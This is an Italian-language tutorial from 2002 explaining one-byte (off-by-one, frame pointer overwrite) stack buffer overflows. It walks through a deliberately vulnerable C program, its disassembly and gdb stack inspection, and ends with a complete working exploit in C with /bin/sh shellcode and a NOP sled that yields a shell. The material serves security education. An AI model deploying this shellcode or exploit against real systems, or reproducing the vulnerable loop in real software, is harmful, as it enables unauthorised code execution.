One Byte Overflow |
||
Data |
by Quequero |
|
21/07/2002 |
Published by Quequero |
|
|
Qualche mio eventuale commento sul tutorial :))) |
Frase di Nonno Ippei (aka Ippei Mihira, il nonno di Sampei) perche' a volte anche i cartoni giapponesi insegnano qualcosa. |
.... |
|
.... |
Difficoltà |
( )NewBies ( )Intermedio (X)Avanzato ( )Master |
Buffer overflow argomento oramai trito e ritrito? Sicuri? Se vi do un buffer sapete exploitarlo vero? Ma ne siete certi? :)
Introduzione |
Tools usati |
Essay |
1. Di cosa stiamo parlando?
C'e' qualcuno, qui tra noi, che ha qualcosa di piccolo....Molto piccolo,
estremamente piccolo, tanto piccolo che piu' piccolo non si puo', dopo di
lui c'e' il niente, lui e' l'entita' atomica dell'hacking, indivisibile (forse),
non solubile in acqua e allergico al pane fatto in casa...Quella cosa potresti
essere: TU!!!
Si tu, piccolo e inutile buffer...Quanti di voi si sono chiesti perche' in
Pascal si iniziava a contare da 1 e col C si e' iniziato a contare da 0???
Ma e' ovvio...Per rendere piu' divertente il mondo della security, altrimenti
non ci rimaneva niente su cui diventar ciechi a forza di leggere piccoli sorgenti
di piccoli programmi con piccoli buffer rotti.
Mi pare ovvio che per andare avanti a leggere questo articolo serva quantomeno
una conoscenza dei normali Buffer Overflow che per motivi di spazio evitero'
accuratamente di riassumere all'interno di questo articolo :)
In sostanza cos'e' un:
1. One Byte Overflow
2. Null Poison Byte Overflow
3. Off By One Overflow
4. Frame Pointer Overwrite
5. Piccoli Peni Crescono Overflow
Queste son le 5 nomenclature standard conosciute per indicare lo stesso tipo
di vulnerabilita', ovvero: Overflow di un solo byte...
Come tutti ben saprete, per eseguire un Buffer Overflow, abbiamo bisogno,
guardacaso, di un buffer, poi di un programma scritto male e quindi dello
spazio necessario per sovrascrivere il ret e inserire lo shellcode. Ma se
l'overflow e' di un solo byte, come cavolo ce le infiliamo tutte queste info
dentro?
Qualcuno diceva che era impossibile, altri che non era applicabile nella vita
reale, qualcun altro (il grande Klog): che invece si poteva fare ma che era
sostanzialmente una vulnerabilita' teorica senza probabili riscontri...
Ma la natura ci ha insegnato che dentro un buco piccolo come un limone puo'
entrare (ed uscire) una cosa grande come un cocomero, percio' i piu' grandi
della scena si misero al lavoro per dimostrare al mondo che i "One Byte
Overflow" erano utilizzabili senza (quasi) alcun problema....E se lo
hanno fatto loro perche' non possiamo farlo noi?
2. Come si presenta un One Byte Overflow?
Prendiamo come esempio questo semplice programma:
void overflow(char *string);
int main(int argv, char *argc[]){
overflow(argc[1]);
}
void overflow(char *string){
char buffer[112];
int i;
for(i=0; i<=112; i++)
buffer[i] = string[i];
}
Piu' piccolo di cosi' proprio non potevo...Bene, analizziamolo a fondo :P
char buffer[112]; // Il buffer da Overfloware
int i; // Contatore per il for
for(i=0; i<=112; i++) // Il for che riempie il buffer
buffer[i] = string[i]; // Copiamo in buffer gli argomenti passati al prog...
Compiliamolo ed eseguiamolo:
quequero@panther:~$ gcc -v | grep version
gcc version 3.1
quequero@panther:~$ gcc one.c -o one -mpreferred-stack-boundary=2
quequero@panther:~$ ./one Io_Sono_Quequola_E_Tu?
Segmentation Fault
Perfetto...Si lo so che segfaulta appunto e' buon segno :)
Spendiamo un paio di parole sulla compilazione...Perche' ho usato l'opzione
-mpreferred-stack-boundary=2?
Perche' cosi il codice viene allineato a 4 byte, ma perche' ho usato 112 come
grandezza del buffer?
Perche 112+4 fa 116 che e' gia allineato a 4 byte altrimenti il compilatore
avrebbe allocato piu' spazio ed eseguire l'overflow sarebbe stato impossibile...Ecco
tutto :)
Cosa succede di insolito? Beh in C/C++ fare un:
char buffer[112];
significa allocare staticamente 112 byte che:
1. NON vanno da 0 a 112
2. NE da 1 a 112
3. MA da 0 a 111
Quindi scrivere in buffer[112] vuol dire andare fuori del buffer, eggia' perche' l'ultimo byte a nostra disposizione dovrebbe essere buffer[111] che a dirla tutta dovrebbe terminare il buffer e quindi essere settato a 0. Ma il `for' contenuto all'interno del programma ci mostra che il buffer viene utilizzato fino a buffer[112]:
for(i=0; i<=112; i++)
buffer[i] = string[i]; // Riempi da buffer[0] a buffer[112]
Bello vero? Abbiamo un byte tutto nostro con cui giocare :) e cosa ci facciamo???
3. Per imparare l'hacking serve il reversing?
Secondo me e' consigliato anche perche' conoscere lo stack e l'assembly e'
importantissimo sia per fare uno shellcode che per capire come funzionano
buona parte degli exploit sulle relative vulnerabilita'.
Ed infatti chi ha dimistichezza con l'asm adesso si trovera' molto piu' a
proprio agio, infatti: it's time to disassemble :)
Bene, per vostra fortuna NON usero' GDB per due validi motivi:
1. lo reputo un ottimo debugger ma ostico come la tundra siberiana
2. DETESTO sotto tutti i punti di vista la sintassi AT&T
Ora le vostre opinioni e idee saranno pure diverse dalle mie ma l'art lo scrivo
io e decido io come disassemblare :) e poi: de gustibus non est disputandum
e questo e' sacro :P...bene, usero' IDA che e' di gran lunga il miglior disassembler
esistente su questa terra e sopratutto ci presenta il listato in sintassi
INTEL che e' assolutamente snella e priva di qualunque cosa che possa confondervi,
se non la conoscete tenete presente che cambia sostanzialmente una cosa:
AT&T: mov a, b = mov A dentro B
INTEL: mov a, b = mov B dentro A
il resto e' assolutamente chiaro....
Bene compiliamo il nostro programma e passiamolo sotto IDA, quindi esaminiamo
il proggy partendo dal main():
.text:08048440 main proc near
.text:08048440
.text:08048440 var_4 = dword ptr -4
.text:08048440 arg_4 = dword ptr 0Ch
.text:08048440
.text:08048440 push ebp
.text:08048441 mov ebp, esp
.text:08048443 sub esp, 4
.text:08048446 mov eax, [ebp+arg_4]
.text:08048449 add eax, 4
.text:0804844C mov eax, [eax]
.text:0804844E mov [esp+4+var_4], eax ; argc[1]
.text:08048451 call overflow ; overflow(argc[1])
.text:08048456 leave
.text:08048457 retn
.text:08048457 main endp
niente di particolarmente interessante, main() si aggiusta lo stack e poi
chiama la funzione overflow con il relativo parametro, quindi esaminiamo la
funzione overflow:
Ve la pasto tutta per comodita' ma a noi interessa ben poco, come vedete ho
rinominato un po' di variabili per farvi capire il codice con piu' facilita'
ma ecco comunque il sunto della funzione:
.text:08048458 i = dword ptr -74h
.text:08048458 buffer = byte ptr -70h
.text:08048458 arg_0 = dword ptr 8
.text:08048458
.text:08048458 push ebp
.text:08048459 mov ebp, esp
.text:0804845B sub esp, 74h
---- snip ----
.text:08048487 leave
.text:08048488 retn
Questo snip e' tutto quello che ci interessa, esaminiamo le prime tre istruzioni:
.text:08048458 push ebp
.text:08048459 mov ebp, esp ; Attiviamo un nuovo Frame
.text:0804845B sub esp, 74h ; Facciamo spazio per tutte le variabili usate
dalla funzione
queste istruzioni servono a creare un nuovo frame all'interno della chiamata,
in pratica date uno sguardo a questa
istruzione:
.text:08048451 call overflow
Appena il processore arriva sulla call salva l'eip sullo stack (l'eip e' un registro che assume sempre il valore della prossima istruzione, serve ad indicare al processore quale riga eseguire dopo quella che ha appena processato) poi entra nella call e crea un nuovo frame per eseguire le istruzioni, in questo nuovo frame fa spazio per tutte le variabili statiche locali e poi alla fine della call arriva al ret:
.text:08048488 retn
il ret (retn sta per Return Near) cosa fa...Sostanzialmente prende l'eip
dallo stack e ci fa un jump, in questo modo riporta l'esecuzione alla riga
appena successiva la call.
Poi vediamo un'altra istruzione prima del ret, ovvero: leave, questa sara'
fondamentale per il nostro studio, leave e' da poco utilizzata, i compilatori
di prima sistemavano lo stack a mano, poi si sono resi conto che leave lo
faceva per loro, ora gli manca solo di scoprire che esiste anche enter, cosi
forse nel gcc 6 le troveremo tutte e due :PPP (skerzo in realta' non era stato
introdotto prima per compatibilita', comunque non capisco perche' usano leave
e non enter....)
Bene, come potete vedere, le prime righe all'interno della call sistemano
lo stack e creano il nuovo frame, solo che questo frame una volta usciti va
cancellato per tornare nel frame precedente ed e' quello che fa leave, cioe',
se non ci fosse leave sicuramente ci sarebbero queste due righe:
.text:08048487 mov esp,ebp
.text:08048489 pop ebp
4. Ecco in dettaglio come funziona una call
Meglio che vi faccia un esempio per chiarire tutti gli eventuali dubbi dal
momento che e' importantissimo capire come funziona una call per studiare
questo tipo di exploit, bene, guardate questo codice fittizio, dovrebbe servire
a farvi capire:
00000001 nop ; qui l'EIP e' uguale a 00000002
00000002 call 00000013 ; ** Adesso l'EIP e' uguale a 00000007 e viene salvato
sullo stack
; ** supponiamo che la nostra call faccia utilizzo di un int e basta (4 byte)
00000007 nop
00000008 jmp 0000000D ; Ho messo questo solo per esempio, l'EIP in questo
caso e' 0000000D e non 0000000A
0000000A nop
0000000B nop
0000000C nop
0000000D ESCI ; Procedura fittizia di uscita
00000011 nop
00000012 nop
00000013 push ebp ; ** Eccoci nella call...Cosa succede, viene salvato il
vecchio frame
00000014 mov ebp, esp ; ...quindi viene creato il frame nuovo...
00000016 sub esp, 0x4 ; ...e gli vengono assegnati 4 byte (per il nostro intero)
da utilizzare
00000018 INCREMENTA_L'INTERO ; Qui la funzione fa qualcosa che non ci interessa...
0000002A mov esp, ebp ; ...e prima di uscire viene sistemato il frame...
0000002C pop ebp ; ...viene restorato quello vecchio...
0000002D ret ; ...e viene recuparato l'EIP dallo stack, quindi viene fatto
un jump al vecchio
; EIP ovvero 00000007
Nessuno ci vieta pero' di utilizzare altre forme EQUIVALENTI per la creazione del nostro frame e l'uscita, ecco alcuni esempi:
00000013 enter 4,1 ; Questo vuol dire: alloca 4 byte, 1 e' il livello in
cui si trova la call
00000018 INCREMENTA_L'INTERO
0000002A mov esp, ebp
0000002C pop ebp
0000002D ret
Anche questo sarebbe identico:
00000013 enter 4,1 ; Questo vuol dire: alloca 4 byte, 1 e' il livello in
cui si trova la call
00000018 INCREMENTA_L'INTERO
0000002A leave ; equivalente a mov esp, ebp | pop ebp
0000002B ret
E nessuno ci vieta di combinare le due cose, ad esempio, usare leave ma non enter o viceversa, infatti a quanto ho visto, il gcc 3.1 utilizza leave per l'uscita dalle chiamate ma sistema lo stack senza usare enter (a noi sarebbe comodo che facesse il contrario ;p mentre a livello di ottimizzazione sarebbe meglio se usasse sia enter che leave).
5. Finalmente e` giunta la stagione degli amori....Molestiamo lo stack!
Adesso guardate il codice, ricordatevi che lo stack lavora al contrario (cresce
verso valori numericamente minori) ed e' un LIFO (Last In First Out)...
int main(int argv, char *argc[]){
overflow(argc[1]); 1. Salviamo l'EIP sullo stack
}
void overflow(char *string){ 2. Salviamo EBP
char buffer[112]; 3. Adesso parte il buffer, l'ultimo byte sta sotto a EBP
int i; 4. L'intero i
for(i=0; i<=112; i++)
buffer[i] = string[i];
}
Ora potete intuire cosa succede :), immaginate lo stack nel momento in cui
ci troviamo qui:
main()
.text:0804844C mov eax, [eax]
.text:0804844E mov [esp+4+var_4], eax ; argc[1]
.text:08048451 call overflow
overflow()
.text:08048458 push ebp ; <- Siamo Qui!
.text:08048459 mov ebp, esp
.text:0804845B sub esp, 74h
.text:0804845E mov [ebp+i], 0
La memoria sara' piu' o meno cosi:
[EIP per il RET ] // main()
[EBP per il Frame] // overflow()
[Buffer 111 ] // overflow()
[Buffer 50 ] // overflow()
[Buffer 0 ] // overflow()
[int i ] // overflow()
Ora e' abbastanza chiaro, immaginiamo di overfloware il nostro buffer, cosa andiamo a sovrascrivere?? Gia', proprio lui, EBP, a dire il vero non e' esattamente immediata l'utilita' di questo overflow...Perche' se guardate la fine della chiamata sapete che EBP viene recuperato dallo stack quindi c'e' il ret, ma siccome l'EIP non viene toccato non possiamo fare nulla...Non esattamente, cerchiamo di guardare il codice in maniera leggermente differente da come ce lo propone il disassembler e vediamo di capire come sfruttare questo byte...
main().text:0804844E mov [esp+4+var_4], eax
main().text:08048451 call overflow {1}
overflow().text:08048458 push ebp {2}
overflow().text:08048459 mov ebp, esp
overflow().text:08048487 leave {3}
overflow().text:08048488 retn
main().text:08048456 leave {4}
main().text:08048457 retn
Ok ho spostato il codice per farvi capire meglio, ovviamente la funzione overflow()
non e' stata riportata per intero.
La situazione e' questa...All'indirizzo 0x08048451 salviamo l'EIP (che punta
a 0x08048456) sullo stack {1}, entriamo quindi nella chiamata e salviamo EBP
{2}, facciamo le nostre cose e prima di uscire il leave {3} salva EBP dentro
ESP e recupera EBP che aveva salvato in {2}...
Cambiando l'ultimo byte di EBP succede che arrivati alla fine della chiamata,
quando leave esegue il "pop ebp" ritroviamo dentro EBP il valore
con l'ultimo byte cambiato...A questo punto il ret ci riporta dentro main(),
precisamente in {4}, dentro EBP abbiamo il nostro valore con l'ultimo byte
cambiato, troviamo quindi il secondo leave {4} che serve a sistemare lo stack
per farci uscire da main(), ma leave salva EBP (cambiato) dentro ESP quindi
il main() ritorna dove non dovrebbe, per chiarire meglio il discorso vi traduco
leave nelle istruzioni che riassume, guardate:
main().text:080484xx mov [esp+4+var_4], eax
main().text:080484xx call overflow
overflow().text:080484xx push ebp {1}
overflow().text:080484xx mov ebp, esp {2}
.... la funzione fa le sue cose....
overflow().text:080484xx mov esp, ebp ; ecco il leave...
overflow().text:080484xx pop ebp ; ...qui termina {3}
overflow().text:080484xx retn
main().text:080484xx mov esp, ebp {4}
main().text:080484xx pop ebp
main().text:080484xx retn {5}
Immaginate adesso di trovarvi in {1}, salviamo EBP quindi lo stack contiene
il valore di EBP, {2} crea quindi il nuovo frame, ma ci interessa poco...Durante
la funzione noi andiamo a sovrascrivere l'ultimo byte di EBP che sta salvato
nello stack, se avete capito fin qui ce l'avete quasi fatta...Di seguito alla
fine della funzione ovvero in {3} recuperiamo dallo stack il nostro EBP con
l'ultimo byte cambiato, se avviamo il programma in questo modo:
quequero@panther:~$ ./one AAAAAAA....AAAAA (112 'A' o +)
vediamo che in {3} EBP e' uguale a:
(gdb) info reg ebp
ebp 0xbffff941 0xbffff941
Ed in effetti il codice ASCII della 'A' e' 0x41 quindi l'ultimo byte e' stato
davvero sovrascritto.
A questo punto la funzione ritorna, ci ritroviamo in {4} e qui succede tutto
cio' che serve, ovvero EBP viene salvato nello stack e quindi il ret che si
trova in {5} ritornera' nel posto sbagliato...Logicamente dopo {4} l'utimo
byte di ESP non sara' piu' 0x41 bensi 0x45 ovvero 0x41+4 proprio perche' viene
fatto un pop prima di ritornare....
Vi consiglio di fare l'occhio con i leave perche' i compilatori oramai tendono
ad usare questo operatore al posto della vecchia catena di istruzioni che
e' piu' lenta...Quindi se avete capito come funziona il Frame Pointer Overwrite
con il leave siete a cavallo perche' il resto e' discretamente piu' semplice
:)
6. Lo stack e' stato molestato a sufficienza, facciamogli partorire una shell
Adesso sappiamo trovare un OneByte Overflow, sappiamo vedere cosa sovrascrive
ma non sappiamo ancora exploitarlo ed e' proprio questo che cercheremo di
fare....Exploitare una vulnerabilita' di questo genere. Ma come si fa ad utilizzare
un solo byte? Sappiamo che la funzione crasha perche' ritorna nel posto sbagliato,
allora perche' non fare in modo di farla ritornare in un posto dove ci e'
concessa la scrittura e quindi trasformare questa bestiolina nera in un semplice
buffer overflow?
Cosi facendo ci basterebbe creare uno shellcode normale, riempire il buffer
in modo appropriato e quindi zack...Beccarci l'oramai agognato # :P
Il buffer andrebbe riempito con un ordine preciso...L'ideale sarebbe metterci:
1. Lo shellcode
2. Un puntatore allo shellcode
3. Il nostro byte che dobbiamo scoprire che valore deve avere
Abbiamo 112 byte a disposizione, diciamo che una cinquantina li spendiamo
per lo shellcode, altri 4 per il puntatori, uno per il byte da sovrascrivere...Con
i restanti che ci facciamo? Beh sarebbe una bella idea mettere qualche NOP
prima dello shellcode tanto per aumentare le nostre chance di successo :)
Soltanto che non possiamo andare cosi' a cavolo, dobbiamo scoprire un paio
di dati come ad esempio: dove inizia il nostro buffer, cosi tanto per renderci
conto di come comportarci. Beh scoprire dove comincia e' abbastanza semplice,
entriamo in gdb e appena la funzione fa spazio ai nostri 112+4 byte guardiamo
lo stack...
quequero@panther:~$ gdb one
(gdb) disass overflow
Dump of assembler code for function overflow:
0x8048458 <overflow>: push %ebp
0x8048459 <overflow+1>: mov %esp,%ebp
0x804845b <overflow+3>: sub $0x74,%esp
0x804845e <overflow+6>: movl $0x0,0xffffff8c(%ebp) ; brekiamo qui per
vedere dove sta il buffer
0x8048465 <overflow+13>: cmpl $0x70,0xffffff8c(%ebp)
0x8048469 <overflow+17>: jle 0x804846d <overflow+21>
0x804846b <overflow+19>: jmp 0x8048487 <overflow+47>
0x804846d <overflow+21>: lea 0xffffff90(%ebp),%eax
0x8048470 <overflow+24>: mov %eax,%edx
0x8048472 <overflow+26>: add 0xffffff8c(%ebp),%edx
0x8048475 <overflow+29>: mov 0xffffff8c(%ebp),%eax
0x8048478 <overflow+32>: add 0x8(%ebp),%eax
0x804847b <overflow+35>: movzbl (%eax),%eax
0x804847e <overflow+38>: mov %al,(%edx)
0x8048480 <overflow+40>: lea 0xffffff8c(%ebp),%eax
0x8048483 <overflow+43>: incl (%eax)
0x8048485 <overflow+45>: jmp 0x8048465 <overflow+13>
0x8048487 <overflow+47>: leave ; e qui per vedere se abbiamo visto giusto
0x8048488 <overflow+48>: ret
(gdb) break *0x804845e <- Primo break
Breakpoint 1 at 0x804845e
(gdb) break *0x8048487 <- Secondo break
Breakpoint 2 at 0x8048487
(gdb) run AAAAAAAAAAAA....AAAAAAAAAAAAAAAAAAAA <- Runniamo il prog con
piu di 112 A
Breakpoint 1, 0x804845e in overflow ()
(gdb) info reg esp <- E zack! esaminiamo lo stack
esp 0xbffff8fc 0xbffff8fc
A quanto pare il nostro buffer si trova all'indirizzo 0xbffff8fc, sicuri
che non ci scordiamo nulla? Beh in realta' si trova al nostro indirizzo +4,
non ci scordiamo l'int i :)
Quindi continuiamo e vediamo se a 0xbffff900 troviamo tante belle 'A':
(gdb) c
Continuing.
Breakpoint 2, 0x8048487 in overflow ()
(gdb) x/4 0xbffff900 <- Esaminiamo lo stack al secondo break
0xbffff900: 0x41414141 0x41414141 0x41414141 0x41414141
Beh a quanto pare abbiamo visto giusto, lo stack e' pieno di 0x41 (vi ricordo
che il codice ASCII della 'A' e' 0x41) quindi il nostro buffer comincia a
questo indirizzo :)
Quindi abbiamo gia' un dato per sferrare il nostro attacco, ovvero l'indirizzo
0xbffff900 (variabile logicamente da pc a pc), adesso il nostro penultimo
dato ovvero il posto in cui piazzare il puntatore allo shellcode, ma questo
e' davvero facile dal momento che andra' messo in fondo, quindi l'indirizzo
sara' 0xbffff900 + 112 (ovvero 0x70 cioe' la grandezza del nostro buffer)
- 4 che e' la dimensione del puntatore stesso :) quindi:
Indirizzo del puntatore = 0xbffff900 + 0x70 - 0x4 = 0xbffff96c
E l'ultimo che sara' il byte col quale dovremo sovrascrivere EBP...Che valore usiamo? Visto che vogliamo far tornare il nostro codice in mezzo al buffer allora prendiamo l'indirizzo del puntatore ed usiamo quello, quindi:
Byte che sovrascrivera' EBP = 0xbffff96c ma a noi interessa solo l'ultimo
ovvero 0x6c, ma cosi non va bene, vi ricordate che all'uscita di overflow()
trovavamo l'ultimo byte che era 0x45 invece di 0x41? Gia', veniva incrementato
dal leave, ma non e' affatto un problema dal momento che ci bastera' sottrarre
4 per ottenere il giusto valore: 0x6c - 0x4 = 0x68
Bene, riassumiamo tutti i dati a nostra disposizione:
Indirizzo del buffer = 0xbffff900
Indirizzo del puntatore = 0xbffff96c
Ultimo byte del buffer = 0x68
In sostanza abbiamo tutto, ci basta giusto la pass di root :P ma tra poco
non ci servira' nemmeno quella :P
L'exploit e' semplicissimo da realizzare anche perche' e' un semplice BoF
comunque dovrete debuggare il programma sulla vostra box ed aggiustare i vari
indirizzi, l'importante e' che abbiate capito come funziona questo tipo di
vulnerabilita' anche perche' exploitarla diventa una cosa abbastanza immediata....
Non dobbiamo far altro che costruire il buffer normalmente ma alla fine dobbiamo
aggiungere il byte col quale vogliamo sovrascrivere EBP (in questo caso 0x68),
quindi il nostro pargolo sara' cosi:
[shellcode][puntatore allo shellcode][0x68] e se ci avanza spazio mettiamo
qualche nop in modo da aver piu' chance di riuscita (come gia detto poco sopra),
quindi:
[nop...nop...nop][shellcode][puntatore allo shellcode][0x68]
Ecco il codice per l'exploit, rippato direttamente dall'articolo di klog perche' e' scritto nel modo piu' semplice possibile quindi e' inutile che vi presenti qualcosa di piu' contorto (leggermente editato per fittare i nostri bisogni :P [che in inglese diventa: slightly edited to fit our needs :P]):
#include <stdio.h>
#include <unistd.h>
char sc_linux[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
main()
{
int i, j;
char buffer[448];
bzero(&buffer, 448);
for (i=0;i<=(90-sizeof(sc_linux));i++)
{
buffer[i] = 0x90;
}
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
{
buffer[i] = sc_linux[j];
}
buffer[i++] = 0x10; /* Va guessato ma potete variarlo, i nop ci sono apposta
buffer[i++] = 0xf9; * Indirizzo del buffer
buffer[i++] = 0xff; * Indirizzo del buffer
buffer[i++] = 0xbf; */
buffer[i++] = 0x68; // Il nostro byte col quale sovrascriveremo EBP
execl("./one", "one", buffer, NULL);
}
quequero@panther:~$ gcc expl.c -o expl
quequero@panther:~$ ./expl
bash-2.05$
Worka :) non vi nascondo che non e' stato affatto banale farlo andare ma
alla fine va ed e' questo che ci interessa, magari avrete qualcosa da aggiustare
ma non sara' difficile...
Succede che EBP viene sovrascritto e quando ci troviamo sul ret del main()
nello stack dovremmo avere l'indirizzo dove si trova il nostro allegro buffer
:)....In questo modo il main() ritorna nel buffer, esegue lo shellcode e ole...Abbiamo
la nostra allegrissima shell :).
Come avete visto il concetto all'inizio e' un po' ostico ma poi diventa abbastanza
semplice capire quello che succede perche' in fondo e' un normale buffer overflow,
niente di piu' :).
Concludendo possiamo dire che questo tipo di vulnerabilita' non e' sempre
immediato da vedere (ricordate ad esempio il channell_lookup dell'ssh quello
era tutt'altro che facile da trovare) anche se spesso spulciando i for potete
capire con facilita' se il buffer viene usato bene o male, exploitare queste
vulnerabilita' non e' difficilissimo anche perche' possiamo aiutarci con qualche
piccolo bruteforce, la cosa da notare e' che non sempre in presenza di un
Null Poison possiamo exploitare, molto dipende dal compilatore perche' se
padda il codice allora l'exploit diventa impossibile ma anche se vengono allocati
altri buffer oltre a quello vulnerabile non e' detto che il programma sia
exploitabile, vuol dire che un po' di debugging va fatto comunque :).
E per oggi...E' tutto :)
-=Quequero=-
quequero (at) bitchx (dot) it
http://quequero.cjb.net
Note finali |
Thanx To ( sort(buffer); rand(buffer); ):
klog: visto che il tute ha preso spunto dal suo
AndreaGeddon: perche' e' stato lui che ha riacceso le polemiche e non c'aveva
capito na sega (come al solito hihih)
N0body88: che e' il mio bro e guai a chi lo tocca
Vinx2o2o: che e' l'altro mio bro e gli voglio bene
Khuma: perche' e' talmente tenera che si taglia con un grissino ma non glielo
dite che vuole sembrare cattiva...Shhh :P
Mayhem: che e' mayo e questo basta e avanza
Brigante: che e' over the top e non potrei non volergli bene anche perche' ci
vivrei in simbiosi
Briga^2: che e' un tipo che ho abbracciato all'hackmeet pensando che fosse briga
e ancora mi prende per il culo :)
Fen0x: perche' si sballa con un bicchiere di birra :P
Badcluste: perche' non lo conoscevo poi l'ho conosciuto ed e' grande :)
Smilzo: perche'? Non so perche', sono fatti miei! :P
Master: perche' e' il papa' didattico di tutti :)
Il Nonno: perche' va in puzza per ogni motivo
Lo zio: perche' e' una persona troppo grande dentro e troppo cotta fuori :)
Paolo: perche' vive nel suo tenero mondo elfico per 8 ore al giorno
UIC: perche' in linea di massima sono persone volenterose e poi devo a loro
tanto tanto tanto
#crack-it: perche' e' un canale piu' speciale degli altri
-=Spp=-: perche' non siamo un gruppo, non siamo una crew, siamo dei fratelli
ed e' una cosa che non esiste altrove
Tutti gli altri che ora non ho voglia di ricordare, ma davvero tutti, nessuno escluso :)
!(Thanx to):
Gli amici che sono lontani e non si possono incontrare per troppo tempo
I topi con la rabbia
Lo Stato
La monarchia anticostituzionale
I dittatori
I batteri maligni
I retovirus
La gente che runna i 7350 crittati col Burneye che si prendono i virus e poi
scassano 'o cazzo
Tutto cio' che reprime la liberta' di espressione dell'individuo
Le persone bigotte
that's all folks
Disclaimer |
Disclaimer? Naaa stavolta siamo nella legalita' totale :P